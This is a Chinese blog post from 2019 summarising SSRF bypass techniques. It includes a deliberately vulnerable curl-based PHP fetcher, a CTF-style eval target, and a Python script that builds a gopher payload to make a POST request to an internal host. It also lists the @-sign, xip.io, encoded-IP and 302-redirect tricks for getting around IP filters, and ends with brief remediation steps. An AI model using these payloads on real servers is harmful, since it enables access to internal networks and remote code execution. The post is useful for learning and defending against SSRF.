Fork me on GitHub

SSRF绕过总结

漏洞代码如下ssrf.php

<?php
        $URL = $_GET['url'];
        $CH = CURL_INIT();
        CURL_SETOPT($CH, CURLOPT_URL, $URL);
        CURL_SETOPT($CH, CURLOPT_HEADER, FALSE);
        CURL_SETOPT($CH, CURLOPT_RETURNTRANSFER, TRUE);
        CURL_SETOPT($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
        // 允许302跳转
        CURL_SETOPT($CH, CURLOPT_FOLLOWLOCATION, TRUE);
        $RES = CURL_EXEC($CH);
        // 设置CONTENT-TYPE
        // HEADER('CONTENT-TYPE: IMAGE/PNG');
        CURL_CLOSE($CH) ;
        //返回响应
        ECHO $RES;
?>

1、goper协议

先看一道CTF题
exp.php代码如下

<?php
if ($_SERVER["HTTP_HOST"]!="127.0.0.1") {
 	# code...
 	die("don't allow");
 } 
@eval($_POST['e']);
 ?>

直接外网访问exp.php是不能代码执行的,我们需要通过ssrf.php访问exp.php,但需要构造post数据包才能执行代码,这时候就需要goper协议。
exp如下

exp='''\
POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 12
Content-Type: application/x-www-form-urlencoded

e=phpinfo();
'''
import urllib
tmp = urllib.quote(exp)
new = tmp.replace("%0A","%0D%0A")
result = "_"+urllib.quote(new)
print result

生成

_POST%2520/exp.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Length%253A%252012%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Ae%253Dphpinfo%2528%2529%253B%250D%250A

最后生成paylaod:

http://127.0.0.1/ssrf.php?url=gopher://127.0.0.1:80/_POST%2520/exp.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Length%253A%252012%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Ae%253Dphpinfo%2528%2529%253B%250D%250A

Alt text

2、DICT协议

Alt text

3、file协议

Alt text

4、绕过技巧

@@

http://127.0.0.1/ssrf.php?url=http://www.baidu.com@127.0.0.1

添加端口号
短网址绕过
指向任意IP的域名xip.io
10.0.0.1.xip.io resolves to 10.0.0.1
www.10.0.0.1.xip.io resolves to 10.0.0.1
mysite.10.0.0.1.xip.io resolves to 10.0.0.1
foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1
IP限制绕过:192.168.0.1改成如下ip
8进制格式:0300.0250.0.1
16进制格式:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数格式:0xC0A80001

5、302跳转绕过

通过302跳转绕过,可以访问内网服务。
302.php放在外网服务器,通过302跳转跳到内网Ip
Alt text
测试发现302跳转可以使用dict协议,但是尝试使用goper协议出现问题,按道理应该可以成功,也许是服务器配置的原因。
Alt text
goper失败
Alt text

6. 总结

修复方案:

  1.    解析目标URL,获取其Host
    
  2.    解析Host,获取Host指向的IP地址
    
  3.    检查IP地址是否为内网IP
    
  4.    请求URL
    
  5.    如果有跳转,拿出跳转URL,执行
    

参考链接:
https://www.t00ls.net/articles-41070.html
http://www.91ri.org/17111.html

posted @ 2019-02-27 22:10  Afant1  阅读(935)  评论(0编辑  收藏  举报